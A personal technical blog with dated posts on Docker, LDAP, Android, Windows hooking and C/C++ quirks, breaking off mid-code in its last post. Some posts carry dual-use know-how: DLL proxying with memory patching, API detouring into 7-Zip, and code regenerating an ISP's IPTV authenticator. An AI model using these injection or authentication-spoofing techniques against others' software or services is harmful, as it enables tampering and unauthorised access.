Gossip on Azuk's Blog

Docker sshd 镜像

Sat, 09 May 2026 22:29:22 +0800

Ubuntu 26.04 基础镜像：

FROM ubuntu:26.04

ARG USERNAME=ubuntu

ENV TZ=Asia/Shanghai

USER root

RUN apt-get update && apt-get install -y \
 openssh-server sudo locales tzdata \
 && locale-gen en_US.UTF-8 \
 && ln -snf /usr/share/zoneinfo/${TZ} /etc/localtime && echo ${TZ} > /etc/timezone \
 && apt-get clean && rm -rf /var/lib/apt/lists/*
RUN usermod -l ${USERNAME} ubuntu \
 && groupmod -n ${USERNAME} ubuntu \
 && usermod -d /home/${USERNAME} -m ${USERNAME}
RUN echo "${USERNAME} ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers.d/${USERNAME} \
 && chmod 0440 /etc/sudoers.d/${USERNAME}
RUN echo '${USERNAME}:${USERNAME}' | chpasswd \
 && mkdir /var/run/sshd || true \
 && sed -i 's/#PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config \
 && ssh-keygen -A

USER ${USERNAME}
WORKDIR /home/${USERNAME}
RUN mkdir -p /home/${USERNAME}/.ssh && chmod 700 /home/${USERNAME}/.ssh
COPY --chown=${USERNAME}:${USERNAME} authorized_keys /home/${USERNAME}/.ssh/authorized_keys
RUN chmod 600 /home/${USERNAME}/.ssh/authorized_keys

ENTRYPOINT ["/bin/bash", "-c"]
CMD ["sudo /usr/sbin/sshd -D"]

EXPOSE 22

实现联通 IPTV 认证

Sun, 22 Feb 2026 14:28:37 +0800

参考中国联通家庭宽带多媒体应用平台技术规范与盒端接口分册。虽然各地区的实现基本上都仍然是不规范的，但相比网上的说法已经改了一些地方。

整体流程可以参考这篇文章，有些流程相对有出入，具体如下。

STB 登录

function getSTBAuthenticator()
{
 document.authform.STBID.value = Authentication.CTCGetConfig("STBID");
 var EncryptToken = "................................";
 document.authform.Authenticator.value = Authentication.CTCGetAuthInfo(EncryptToken);
 document.authform.userToken.value = "................................";
 document.authform.mac.value = Authentication.CTCGetConfig("mac");
}

这里 CTCGetAuthInfo 仍然是只有 8 位，同样退化成了 DES ，但值的范围可能不一样。密码的内容可以直接 HMW_config_read("Iptv.Password", pBuf, bufSize); 。

重新加密的方法：

def des_encrypt_ecb(key, plaintext):
 cipher = DES.new(key, DES.MODE_ECB)
 padded_plaintext = pad(plaintext.encode('utf-8'), DES.block_size)
 encrypted_bytes = cipher.encrypt(padded_plaintext)
 return binascii.hexlify(encrypted_bytes).decode('utf-8')

des_encrypt_ecb(key, f'99999${EncryToken}${UserID}${STBID}${IP}${MAC}$$CTC')

注意这里的 random ，在某些配置下只会用默认值，也就是 99999 ，用随机值反而不对。

tempkey 的算法

md5(hashCode(SESSIONID + 标识符 + MAC地址))。

MAC地址加冒号、大写。标识符是写死的，除非系统升级可能会变。 hashCode 是 Java 同款的 String.hashCode 。

所以计算代码如下：

from hashlib import md5
from functools import reduce
def calc_key(a, c):
 h = lambda s, v=0: reduce(lambda x, y: (x * 31 + ord(y)) & 4294967295, s, v)
 u = h(c, h(a) * 0xcdaa61c1 + 0x870f92bc)
 k = (u + 2**31) % 2**32 - 2**31
 return md5(str(k).encode()).hexdigest().upper()

if __name__ == '__main__':
 session_id = '00000000000000000000000000000000'
 mac_addr = '00:AA:BB:CC:DD:EE'
 print(calc_key(session_id, mac_addr))

容器化 OpenLDAP 迁移

Fri, 08 Aug 2025 15:45:52 +0800

这次使用的是 bitnami/openldap 镜像。唯一不好的是，在第一次启动初始化数据如果出错，会直接退出而不是打印错误信息，只能对照错误码去找。

文档在 Docker Hub: bitnami/openldap 上。

docker compose 文件：

services:
 openldap:
 image: bitnami/openldap:latest
 container_name: openldap
 ports:
 - 389:1389
 - 636:1636
 environment:
 - TZ=Asia/Shanghai
 - LDAP_ADMIN_USERNAME=ldapadm
 - LDAP_ADMIN_PASSWORD=password
 - LDAP_ALLOW_ANON_BINDING=no
 - "LDAP_EXTRA_SCHEMAS=cosine, inetorgperson"
 - "LDAP_ADMIN_DN=cn=ldapadm,dc=azuk,dc=top"
 - "LDAP_ROOT=dc=azuk,dc=top"
 - "LDAP_ENABLE_TLS=yes"
 - "LDAP_TLS_CERT_FILE=/cert/ldap.pem"
 - "LDAP_TLS_KEY_FILE=/cert/ldap.key"
 - "LDAP_TLS_CA_FILE=/cert/ca.pem"
 volumes:
 - ./data:/bitnami/openldap
 - "./cert:/cert:ro"
 - "./custom-schema.ldif:/schema/custom.ldif:ro"
 - ./ldifs:/ldifs

这里设置 LDAP_EXTRA_SCHEMAS 是为了排除它默认有的 nis ，因为要用 rfc2307bis ，防止冲突。

容器默认用户/组是 1001:1001 ，证书需要设置权限，否则初始化报错。

修改 7-Zip 的文件夹选择对话框

Fri, 30 May 2025 13:24:42 +0800

背景

7-Zip 在解压文件时使用的是旧版的文件夹选择对话框 SHBrowseForFolder ，需要逐级展开树状目录，使用起来不是很好。于是就想在不改动 7-Zip 源程序的情况下，把对话框给换成现代的 IFileDialog 。

旧版对话框 SHBrowseForFolder

新版对话框 IFileDialog

以 7-Zip 24.09 源码为例。结构初始化部分的代码在 CPP\Windows\Shell.cpp#666 附近，整理后大概如下：

bool BrowseForFolder(LPBROWSEINFO browseInfo, CSysString &resultPath)
{
 resultPath.Empty();
 NWindows::NCOM::CComInitializer comInitializer;
 LPITEMIDLIST itemIDList = ::SHBrowseForFolder(browseInfo);
 if (!itemIDList) return false;
 CItemIDList itemIDListHolder;
 itemIDListHolder.Attach(itemIDList);
 return GetPathFromIDList(itemIDList, resultPath);
}

static int CALLBACK BrowseCallbackProc(HWND hwnd, UINT uMsg, LPARAM /* lp */, LPARAM data)
{
 switch (uMsg)
 {
 case BFFM_INITIALIZED:
 {
 SendMessage(hwnd, BFFM_SETSELECTION, TRUE, data);
 break;
 }
 default:
 break;
 }
 return 0;
}

static bool BrowseForFolder(HWND owner, LPCTSTR title, UINT ulFlags, LPCTSTR initialFolder, CSysString &resultPath)
{
 CSysString displayName;
 BROWSEINFO browseInfo;
 browseInfo.hwndOwner = owner;
 browseInfo.pidlRoot = NULL;
 browseInfo.pszDisplayName = displayName.GetBuf(MAX_PATH);
 browseInfo.lpszTitle = title;
 browseInfo.ulFlags = ulFlags;
 browseInfo.lpfn = initialFolder ? BrowseCallbackProc : NULL;
 browseInfo.lParam = (LPARAM)initialFolder;
 return BrowseForFolder(&browseInfo, resultPath);
}

除了要把 SHBrowseForFolder detour 掉以外，还需要检查下 bi 的回调函数，如果存在的话说明 bi.lParam 里放了当前文件夹的路径。

DLL Proxy ：不可行

7z 的提取文件对话框由 7zG.exe 提供，检查了下导入表，发现都是 known dll ，没有什么操作空间。

COMCTL32.dll
comdlg32.dll
GDI32.dll
OLEAUT32.dll
ole32.dll
USER32.dll
ADVAPI32.dll
SHELL32.dll
msvcrt.dll
KERNEL32.dll

7z 插件方法：可行

7zG 会尝试从其目录下的 Codecs 和 Formats 下加载 dll 。（如果要 patch 7zFM 则麻烦些，因为它只在打开压缩文件时，才会去加载插件。）因此尝试写一个 dll 去 detour 一下。

static LPITEMIDLIST(WINAPI *Original_SHBrowseForFolderW)(LPBROWSEINFOW lpbi) =
 SHBrowseForFolderW;

LPITEMIDLIST WINAPI Detoured_SHBrowseForFolderW(LPBROWSEINFOW lpbi) {
 MessageBoxW(NULL, L"Hello", L"World", 0);
 return Original_SHBrowseForFolderW(lpbi);
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call,
 LPVOID lpReserved) {
 if (DetourIsHelperProcess()) {
 return TRUE;
 }

 switch (ul_reason_for_call) {
 case DLL_PROCESS_ATTACH:
 DetourRestoreAfterWith();
 DetourTransactionBegin();
 DetourUpdateThread(GetCurrentThread());
 DetourAttach(&(PVOID &)Original_SHBrowseForFolderW,
 (PVOID)Detoured_SHBrowseForFolderW);
 DetourTransactionCommit();
 break;
 }
 return TRUE;
}

编译运行，报 access violation 退出了。仔细一看， 7z 如果发现插件 dll 里没有可用的 codec/format 就会主动卸载 dll 。因此在 dll 加载时，我们手动 pin 一下自己，防止被卸载。

完整代码如下：

#define WIN32_LEAN_AND_MEAN
#define UNICODE
#define _UNICODE
// clang-format off
#include <windows.h>
#include <detours.h>
#include <shlobj_core.h>
#include <comdef.h>
#include <pathcch.h>
#include <stdexcept>
// clang-format on

// mini unsafe com wrapper
template <typename T>
struct com_ptr {
 T *ptr_{nullptr};

 com_ptr() = default;

 ~com_ptr() {
 if (ptr_) {
 ptr_->Release();
 }
 }

 T *get() const { return ptr_; }

 T *operator->() { return ptr_; }

 T **operator&() { return &ptr_; }
};

inline void check_hr(HRESULT hr) {
 if (FAILED(hr)) {
 _com_error err(hr);
#ifndef NDEBUG
 MessageBoxW(NULL, err.ErrorMessage(), L"Unexpected error",
 MB_ICONERROR | MB_OK);
#endif
 throw std::runtime_error("unexpected error");
 }
}

static LPITEMIDLIST(WINAPI *Original_SHBrowseForFolderW)(LPBROWSEINFOW lpbi) =
 SHBrowseForFolderW;

bool TryGetAvailableFolder(LPCWSTR pszPath, IShellItem **ppsi) {
 WCHAR szPath[MAX_PATH];
 wcscpy_s(szPath, MAX_PATH, pszPath);

 // try to parse current path
 auto hr = SHCreateItemFromParsingName(szPath, NULL, IID_PPV_ARGS(ppsi));
 if (SUCCEEDED(hr)) {
 return true;
 }

 // try to remove trailing backslash
 PathCchRemoveBackslash(szPath, MAX_PATH);

 // try to get the parent folder
 hr = PathCchRemoveFileSpec(szPath, MAX_PATH);
 if (FAILED(hr)) {
 return false;
 }
 hr = SHCreateItemFromParsingName(szPath, NULL, IID_PPV_ARGS(ppsi));
 if (SUCCEEDED(hr)) {
 return true;
 }

 return false;
}

LPITEMIDLIST ModernFolderDialog(LPBROWSEINFOW lpbi) {
 com_ptr<IFileDialog> pfd;
 check_hr(CoCreateInstance(CLSID_FileOpenDialog, NULL, CLSCTX_INPROC_SERVER,
 IID_PPV_ARGS(&pfd)));

 DWORD dwFlags;
 check_hr(pfd->GetOptions(&dwFlags));
 dwFlags |= FOS_PICKFOLDERS | FOS_FORCEFILESYSTEM;
 check_hr(pfd->SetOptions(dwFlags));

 check_hr(pfd->SetTitle(lpbi->lpszTitle));

 if (lpbi->lpfn) {
 // lParam is LPCWSTR initialFolder
 com_ptr<IShellItem> psiFolder;
 if (TryGetAvailableFolder((LPCWSTR)lpbi->lParam, &psiFolder)) {
 check_hr(pfd->SetFolder(psiFolder.get()));
 }
 }

 auto hr = pfd->Show(lpbi->hwndOwner);
 if (hr == HRESULT_FROM_WIN32(ERROR_CANCELLED)) {
 return NULL;
 }
 check_hr(hr);

 com_ptr<IShellItem> psi;
 check_hr(pfd->GetResult(&psi));

 LPITEMIDLIST pidl = NULL;
 check_hr(SHGetIDListFromObject(psi.get(), &pidl));

 return pidl;
}

LPITEMIDLIST WINAPI Detoured_SHBrowseForFolderW(LPBROWSEINFOW lpbi) {
 try {
 return ModernFolderDialog(lpbi);
 } catch (...) {
 return Original_SHBrowseForFolderW(lpbi);
 }
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call,
 LPVOID lpReserved) {
 if (DetourIsHelperProcess()) {
 return TRUE;
 }

 switch (ul_reason_for_call) {
 case DLL_PROCESS_ATTACH:
 // avoid 7zip unloading the DLL
 WCHAR moduleName[MAX_PATH];
 GetModuleFileNameW(hModule, moduleName, MAX_PATH);
 HMODULE hModuleTmp;
 GetModuleHandleExW(GET_MODULE_HANDLE_EX_FLAG_PIN, moduleName,
 &hModuleTmp);

 DetourRestoreAfterWith();
 DetourTransactionBegin();
 DetourUpdateThread(GetCurrentThread());
 DetourAttach(&(PVOID &)Original_SHBrowseForFolderW,
 (PVOID)Detoured_SHBrowseForFolderW);
 DetourTransactionCommit();
 break;
 }
 return TRUE;
}

DockerHub 反向代理 Missing x-amz-content-sha256

Sun, 16 Feb 2025 10:51:58 +0800

使用 CF Workers 做反向代理时，一般直接把原请求直接 passthrough 到 dockerhub 服务器，类似：

// ...
const newUrl = new URL(upstream + url.pathname);
const req = new Request(newUrl, {
 method: request.method,
 headers: request.headers,
 redirect: 'follow',
});
return await fetch(req);
// ...

假如我们请求的 url 是 https://registry-1.docker.io/v2/library/[image_name]/blobs/sha256:[sha256_value] ，那么在验证完 Authorization 请求头后，会 307 到对象存储的地址，比如 R2 的地址 https://docker-images-prod.[...].r2.cloudflarestorage.com/registry-v2/[...]/data?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=[...]&X-Amz-Date=[...]&X-Amz-Expires=1200&X-Amz-SignedHeaders=host&X-Amz-Signature=[...]

请求到 R2 的时候，这个 Authorization 头如果带上了，就会报 Missing x-amz-content-sha256 。 CF Workers 的 fetch 直接把请求头带到了第二个请求里，这个 bug 导致了报错。

那么到底 fetch 遇到跳转是否应该带原来的请求头呢？当跳转时 origin 改变了，某些 header 就应该被去掉。见 Fetch Standard - 4.4 HTTP-redirect fetch：

Note: I.e., the moment another origin is seen after the initial request, the Authorization header is removed.

这个 bug 理论上会对安全性造成影响，把另一个站点的凭据泄漏给另外一个站点。

Node.js 无此 bug 。（ fetch 是写在 v8 里的吗？）

MSVC Ignores Empty Initializer List in C

Mon, 30 Sep 2024 21:57:33 +0800

Before C23, ISO C forbids empty initializer braces. Take the following code as an example:

#include <stdio.h>

typedef struct tagFoo {
 int i;
} Foo;

static Foo foos[3] = {
 {},
 {1},
 {2},
};

int main(void){
 printf("sizeof(foos): %zu\n", sizeof(foos));
 printf("sizeof(Foo): %zu\n", sizeof(Foo));
 printf("foo[0].i: %d\n", foos[0].i);
 printf("foo[1].i: %d\n", foos[1].i);
 printf("foo[2].i: %d\n", foos[2].i);

 return 0;
}

Compile the program in gcc 14.2 with -pedantic, we got:

sizeof(foos): 12
sizeof(Foo): 4
foo[0].i: 0
foo[1].i: 1
foo[2].i: 2

Without -pedantic, the result will not change, despite no warning would be thrown.

However, in MSVC v19.40 (vs 17.10), the code compiles without any warning, but the result is weird:

sizeof(foos): 12
sizeof(Foo): 4
foo[0].i: 1
foo[1].i: 2
foo[2].i: 0

MSVC ignores the empty initializer list, and shifted the struct array.

FYI, currently C23 empty initializers are partially supported in gcc, and not supported in MSVC.

Cross Compiling Dropbear for Android(API 23) with Auto Run on Boot

Thu, 05 Sep 2024 14:55:50 +0800

Compiling a random Linux compatible cli tool for Android can be painful. The Android, although with a Linux kernel, has a very different experience. It has bionic as its C library and linker, the SELinux can be troublesome, lacks common library support out of box (e.g. openssl), no common cli tools, different init system and file system hierarchy. I found precompiled binaries not suitable for my situation (and really we should not trust binaries from internet), so I decided to compile on my own.

Compiling

Download and set up Android NDK. Clone the dropbear source code.

export PATH="/opt/android-ndk-r27/toolchains/llvm/prebuilt/linux-x86_64/bin:$PATH"
git clone -b DROPBEAR_2024.85 -d 1 https://github.com/mkj/dropbear/tree/DROPBEAR_2024.85

Before building the program, let’s do some quick hacks:

src/default_options.h:

// change the default port
#define DROPBEAR_DEFPORT "2022"

// where /etc lays may be mounted as ro
// change the following file path
#define DSS_PRIV_FILENAME "/data/dropbear/dropbear_dss_host_key"
#define RSA_PRIV_FILENAME "/data/dropbear/dropbear_rsa_host_key"
#define ECDSA_PRIV_FILENAME "/data/dropbear/dropbear_ecdsa_host_key"
#define ED25519_PRIV_FILENAME "/data/dropbear/dropbear_ed25519_host_key"

#define DROPBEAR_PIDFILE "/data/dropbear/dropbear.pid"

// android root may has the home folder as /
// change the cli auth key path
#define DROPBEAR_DEFAULT_CLI_AUTHKEY "/data/dropbear/.ssh/id_dropbear"

// commonly android does not has a sftp-server out of box
#define DROPBEAR_SFTPSERVER 0

// define the default path
#define DEFAULT_ROOT_PATH "/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin"

src/svr-authpubkey.c:

// change authorized_keys path
static int checkpubkey(const char *keyalgo, unsigned int keyalgolen, const unsigned char *keyblob, unsigned int keybloblen) {
 // ...
 // filename = m_malloc(len + 22);
 // snprintf(filename, len + 22, "%s/.ssh/authorized_keys", ses.authstate.pw_dir);
 char authkeys_filename[] = "/data/dropbear/authorized_keys";
 filename = m_malloc(sizeof(authkeys_filename));
 strcpy(filename, authkeys_filename);
 // ...
}

// do not check public key perms
// as the home for root is /
static int checkpubkeyperms() {
 return DROPBEAR_SUCCESS;
}

localoptions.h:

/*
 * Copyright © 2020-2022 Matt Robinson
 *
 * SPDX-License-Identifier: MIT
 */

// Disable server password auth as crypt() isn't available under Android
#define DROPBEAR_SVR_PASSWORD_AUTH 0

// Disable client password auth as getpass() isn't available under Android
#define DROPBEAR_CLI_PASSWORD_AUTH 0

// Speed up symmetrical ciphers and hashes at the expense of larger binaries
#define DROPBEAR_SMALL_CODE 0

// Build all but the most verbose level of trace messages into the binaries
#define DEBUG_TRACE 4

// Change the fallback list of shells to the non-standard Android shell path
#define COMPAT_USER_SHELLS "/system/bin/sh"

Configure the build:

./configure \
 --host=armv7a-linux-androideabi \
 --disable-utmp \
 --disable-wtmp \
 --disable-utmpx \
 --disable-zlib \
 --disable-syslog \
 AR=llvm-ar \
 CC=armv7a-linux-androideabi23-clang \
 RANLIB=llvm-ranlib \
 STRIP=llvm-sstrip

make PROGRAMS="dropbear dbclient dropbearkey dropbearconvert scp" SCPPROGRESS=1

Set up on Android

In my case, the device SELinux status is permissive, which often is NOT the case for production builds, so the following may not work for your device.

Check if dropbear works with:

./dropbear -F -R

Auto run needs a new init.rc file in /etc/init, in my case /system is a ext4 partition.

mount -t ext4 -o rw,remount /system
cat > /system/etc/init/dropbear.rc << EOF
service sshd /system/xbin/dropbear
 seclabel u:r:init:s0
 user root
 group root
 oneshot
 disabled

on property:sys.boot_completed=1
 start sshd

EOF
chmod 644 /system/etc/init/dropbear.rc

Refs:

Cross-compiling Dropbear and rsync for Android

Set up NumPy dev env with VSCode debugging

Tue, 23 Jul 2024 14:19:00 +0800

Compile Python with debug build

# setup the source path for later debugging
export PYTHON_BUILD_BUILD_PATH=$HOME/pythondev/builds/3.12
# build a debug version of Python
pyenv install 3.12 -g

Set up NumPy dev env

# install build deps, see https://numpy.org/doc/stable/building/index.html
sudo apt install -y gcc g++ gfortran libopenblas-dev liblapack-dev pkg-config python3-pip python3-dev

# clone numpy sources
git clone https://github.com/numpy/numpy.git
cd numpy
git submodule update --init

# automatically use the python debug build in cwd
pyenv local 3.12

# in case you don't want to pollute the global env
python -m pip install --user virtualenv
virtualenv venv

# build numpy without optimization
spin build --clean -- -Dbuildtype=debug -Ddisable-optimization=true

Debugging C code

I found that manually setting everything needed is pretty straightforward, and we can stick to the spin workflow.

Add a gdb launch conf to your launch.json:

// "configurations": [
{
 // ...
 "program": "YOUR_WORKING_DIR/venv/bin/python",
 "args": [
 // Don't prepend current dir to `sys.path`
 // See https://docs.python.org/3/using/cmdline.html#cmdoption-P
 "-P",
 "whatever_you_wanna_debug.py",
 ],
 // ...
 "environment": [
 {
 // instead manually set `PYTHONPATH`
 "name": "PYTHONPATH",
 "value": "YOUR_WORKING_DIR/build-install/usr/lib/python3.12/site-packages"
 }
 ],
 // ...
}
// ...

Debugging Python code

For env variables, PYTHONSAFEPATH does not work but PYTHONPATH does, so I just set python launch args to -P.

This time, create a Python debugger launch profile:

// "configurations": [
{
 // ...
 "python": "YOUR_WORKING_DIR/venv/bin/python",
 "pythonArgs": ["-P"],
 "program": "whatever.py",
 // ...
 "env": {
 // note the inconsistent env config style
 "PYTHONPATH": "YOUR_WORKING_DIR/build-install/usr/lib/python3.12/site-packages"
 },
 "justMyCode": false,
 // ...
}
// ...

Dll Proxying

Fri, 15 Mar 2024 13:41:27 +0800

通过让 exe 优先加载 proxy dll 来注入进程，或者拦截某个原 dll 中的函数。
DLL 的搜索路径： Dynamic-link library search order
注意 KnownDLLs 中的 dll 必须放在 System32 中才会生效。

程序 (a.exe, main.c) ：

// cc main.c -lwininet -O2
#include <Windows.h>
#include <Wininet.h>
#include <stdio.h>

const char some_string[] = "Hello, World!";

int main() {
 DWORD flags;
 if (InternetGetConnectedState(&flags, 0)) {
 printf("Connected to the internet\n");
 } else {
 printf("Not connected to the internet\n");
 }
 puts(some_string);
 return 0;
}

DLL (wininet.dll, dll.c) :

// gcc -shared -static -static-libgcc -O2 -o wininet.dll dll.c m.def
#define WIN32_LEAN_AND_MEAN
#include <Windows.h>
#include <Psapi.h>
#include <wininet.h>
#include <processthreadsapi.h>
#include <memoryapi.h>
#include <stdlib.h>
#include <stdio.h>

const char orig_str[] = "Hello, World!";
const char new_str[] = "Goodbye World";

__declspec(dllexport)
BOOL __stdcall _InternetGetConnectedState(
 _Out_ LPDWORD lpdwFlags,
 _Reserved_ DWORD dwReserved) {

 return FALSE;
}

void *memmem(const void *s, size_t len, const void *const ss, const size_t ssLen) {
 if (s == NULL || ss == NULL || len == 0 || ssLen == 0)
 return NULL;

 for (const char *h = (const char *)s; len >= ssLen; ++h, --len) {
 if (!memcmp(h, ss, ssLen))
 return (void *)h;
 }
 return NULL;
}

void PatchMemory() {
 HANDLE process = GetCurrentProcess();
 HMODULE module = GetModuleHandleW(NULL);
 MODULEINFO info;
 if (!GetModuleInformation(process, module, &info, sizeof(info))) {
 OutputDebugStringW(L"GetModuleInformation failed\n");
 return;
 }

 BYTE* procImage = (BYTE *)malloc(sizeof(BYTE) * info.SizeOfImage);
 SIZE_T bytesRead = 0;
 ReadProcessMemory(process, info.EntryPoint, procImage, info.SizeOfImage, &bytesRead);
 // expect error 299 here, ReadProcessMemory returns 0, just check bytesRead
 if (bytesRead == 0) {
 OutputDebugStringW(L"ReadProcessMemory failed\n");
 free(procImage);
 return;
 }

 void *pos = memmem(procImage, bytesRead, orig_str, ARRAYSIZE(orig_str));
 if (pos == NULL) {
 OutputDebugStringW(L"Patch not found\n");
 free(procImage);
 return;
 }

 void *realAddr = (void *)((uintptr_t)info.EntryPoint + ((uintptr_t)pos - (uintptr_t)procImage));
 DWORD oldProtect;
 VirtualProtectEx(process, realAddr, ARRAYSIZE(new_str), PAGE_EXECUTE_READWRITE, &oldProtect);
 WriteProcessMemory(process, realAddr, new_str, ARRAYSIZE(new_str), NULL);
 VirtualProtectEx(process, realAddr, ARRAYSIZE(new_str), oldProtect, NULL);

 free(procImage);
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
 switch (fdwReason)
 {
 case DLL_PROCESS_ATTACH:
 PatchMemory();
 break;
 case DLL_THREAD_ATTACH:
 break;
 case DLL_THREAD_DETACH:
 break;
 case DLL_PROCESS_DETACH:
 break;
 }
 return TRUE;
}

生成 module def :

import pefile

dll_name = 'wininet'
dll = pefile.PE(dll_name)
f = open('module.def', 'w')
f.write('EXPORTS\n')

i = 0
for sym in dll.DIRECTORY_ENTRY_EXPORT.symbols:
 if sym.name is not None:
 f.write(f' {sym.name.decode()}={dll_name}.{sym.name.decode()} @{sym.ordinal}\n')
 i += 1

f.close()

DLL (wininet.dll, m.def) :

EXPORTS
 AppCacheCheckManifest="C:\Windows\System32\WININET.AppCacheCheckManifest" @113
 AppCacheCloseHandle="C:\Windows\System32\WININET.AppCacheCloseHandle" @114
 AppCacheCreateAndCommitFile="C:\Windows\System32\WININET.AppCacheCreateAndCommitFile" @115
 (...)
 InternetGetConnectedState=_InternetGetConnectedState @294

关于Module-Definition File: MSVC, ld win32
有些 dll 中的函数只会通过 ordinal 导出，而没有名称。在 MSVC 中可以通过 some_func=other_module.#42 来代理，而 mingw 的 ld 不支持这种写法。
另外，代理系统 DLL 需要把路径写全，否则会报 0xc000007b （合理）。

运行：

PS C:\Users\Azuk\inet-test> .\a.exe
Connected to the internet
Hello, World!

(Build the proxy dll)

PS C:\Users\Azuk\inet-test> .\a.exe
Not connected to the internet
Hello, World!

对 Windows TSF 的一些想法

Wed, 13 Mar 2024 14:07:50 +0800

在 windows-rs 里暴露出了几个有意思的 GUID :

windows-rs 是 winmd 生成的，虽然最近才发现它们已经在 win32 metadata 的源里躺了很长时间了，但之前就从几个地方对这些东西有所了解。

先说说 LocalServer ：这里的 LocalServer 指的就是 COM 的 LocalServer 了，一个以 exe 方式运行的 COM server 。与之相对的就是现在各类 TSF TIP 实现常用的方法 InProcServer ，即作为 DLL 加载进目标进程中。目前只有微软的输入法实现了 LocalServer 的运行模式，因为 TSF 的文档里根本就没说这件事。 TSF 文档水平实在很烂，还不更新，也没什么资料，基本靠自己瞎猜和看别人怎么写。

用 LocalServer 有几个好处，首先不被加载进别的进程有一定的安全性，同时也不会因为输入法的故障而使应用程序出问题。微软在 Win8 时的文档里，想规定 TIP 不能和本地的其他程序进行通信，只能用 web 的方式去进行一些网络通信，比如实现云输入法的功能。但这样本地词库、皮肤等各种自定义功能不也就废了么？所以微软虽然文档上装了个大B，但实际上口子放得很大：常见的通信方式是在 TIP 和输入法后端间架一条 Named Pipe ，但由于 Pipe 只是方便单向的请求，所以像 mozc 还会让 TIP 创建一个不显示的窗口，通过窗口的信息来实现双向的通信。如果换用 LocalServer ，就完全没有这样的问题，反正我已经跟目标程序毫无关系了，你还管我干嘛吗？

这样说来，是不是 GUID_TFCAT_TIPCAP_COMLESS 也没有意义了呢？既然没有 DLL 加载进目标程序，系统的 TSF 框架来和我通信，加不加载 COM 也不会影响到目标程序，该 obsolete 了。

再说说 TSF3 ： Edge 的某个设计文档里提了一嘴这个内容，另一方面，通过对 ChsIME.exe 的符号进行观察，可以发现它用了很多 ITsf* 的 COM 对象，而不是 ITf* 开头的对象，难道等 TSF3 出来的时候又要重写一遍输入法？具体改动了什么就不好说了，对 COM 的逆向一窍不通，只能简简单单看函数的名字和一些简单的函数在干啥，来猜一猜。

另一件值得提的是， mozc#819 指出微软的输入法现在只通过异步的方式处理 EditSession ，是不是新版的 TSF3 里会对异步支持比较好呢？不过 TSF3 还是要向下兼容 TSF 的，那么面对那些头疼的 TSF Aware App ，是不是又多了一层类似 Cicero 的东西要处理？真的好想看一下微软输入法的源码啊。

Edge B站卡死

Wed, 20 Dec 2023 19:41:37 +0800

TL;DR: 装了 HEVC 视频扩展的锅，仅在 Edge 下出现问题。删掉扩展解决，或用下面的 UserScript 缓解。

B 站打开视频大约 5s 左右卡死，首页预览视频的时候也会较随机地卡死。开了 F12 的 Profiling ,看到大部分时间花在 canPlayType 上。

出问题的代码：

getBrowserCodecInfo = function() {
 var e = document.createElement("video")
 , t = {};
 return ['video/mp4; codecs="av01"', 'video/mp4; codecs="av01.0.10M.08"', 'video/mp4; codecs="av01.0.10M.10"', 'video/mp4; codecs="av01.0.10M.12"', 'video/mp4; codecs="av01.1.31M.08"', 'video/mp4; codecs="av01.2.31H.12"', 'video/mp4; codecs="hev1.1.6.L93.B0"', 'video/mp4; codecs="vp09.00.50.08"'].forEach((function(n, r) {
 try {
 var o = e.canPlayType(n), i = window.MediaSource && window.MediaSource.isTypeSupported(n);
 t[r] = "".concat(o, ";").concat(i)
 } catch (e) {}
 }
 )),
 t
}

修改跑一下发现是 e.canPlayType('video/mp4; codecs="hev1.1.6.L93.B0"') 的问题，且在其他浏览器里不复现，怀疑是 HEVC 视频编码软件包的问题，删掉果然就不卡了。

如果还需要这个软件包的话，可以做一下缓存当作缓解措施：

// ==UserScript==
// @name Bilibili Edge HEVC fix
// @namespace https://azuk.top/proj/edge-hevc-fix
// @version 2023-12-20
// @description Fix edge hanging in HEVC detection
// @author Azuk 443
// @match *://*.bilibili.com/*
// @icon https://www.google.com/s2/favicons?sz=64&domain=bilibili.com
// @run-at document-start
// @grant unsafeWindow
// ==/UserScript==

(function() {
 'use strict';
 const videoEl = document.createElement('video');
 videoEl.__proto__.canPlayType2 = videoEl.__proto__.canPlayType;
 videoEl.__proto__.canPlayType = function(x) {
 const result = unsafeWindow.localStorage.getItem('__bilifix_canPlay_'+x) || this.canPlayType2(x);
 unsafeWindow.localStorage.setItem('__bilifix_canPlay_'+x, result);
 return result;
 };
})();

Ubuntu 将 /tmp 挂载为 tmpfs

Sat, 04 Nov 2023 12:30:31 +0800

ref: https://askubuntu.com/questions/1232004/mounting-tmp-as-tmpfs-on-ubuntu-20-04

sudo cp -v /usr/share/systemd/tmp.mount /etc/systemd/system/
sudo systemctl enable tmp.mount

sudo systemctl enable /usr/share/systemd/tmp.mount

C++ dtor 和虚表指针的一个讨论

Wed, 11 Oct 2023 15:30:49 +0800

#include <cstdio>

struct Base {
 int vb;
 virtual ~Base() {
 puts("Base::~Base");
 test(0);
 }
 virtual void test(int) { puts("Base::test"); }
 // error!
 // virtual void test(int) = 0;
};

struct Derived : public Base {
 int vd;
 ~Derived() override {
 puts("Derived::~Derived");
 test(0);
 }
 void test(int) override { puts("Derived::test"); }
};

int main() {
 Base *a = new Derived();
 a->test(1);
 puts("");
 a->~Base();
 puts("");
 a->test(1);
 return 0;
}

输出：

Derived::test

Derived::~Derived
Derived::test
Base::~Base
Base::test

Base::test

Base 析构的时候调用 test 的流程：

Derived::~Derived(Derived *this) {
 this->vptr = vtable_for_Derived+16; // *(void *)this = offset_vtable;
 // actual user defined Derived::~Derived
 Base::Base(*this);
}

Base::~Base(Base *this) {
 this->vptr = vtable_for_Base+16;
 // actual user defined Base::~Base
}

vptr 是在 dtor 开始的时候设置的，所以 Base::test(int) 不能是纯虚函数。

多重继承的情况类似，假设 Derived 继承 Base1, Base2, Base3 ，Base* 类中有一个 int64_t 成员变量：

Derived 内存布局:
+-------+------+-+
| Base1 | vptr |0|
| +------+-+
| | var |1|
+-------+------+-+
| Base2 | vptr |2|
| +------+-+
| | var |3|
+-------+------+-+
| Base3 | vptr |4|
| +------+-+
| | var |5|
+-------+------+-+
|vptr |6|
+--------------+-+
|var |7|
+--------------+-+

Derived::~Derived(Derived *this) {
 // vptr_Base1 = 0;
 // vptr_Base2 = 2 * 8;
 // vptr_Base3 = 4 * 8;
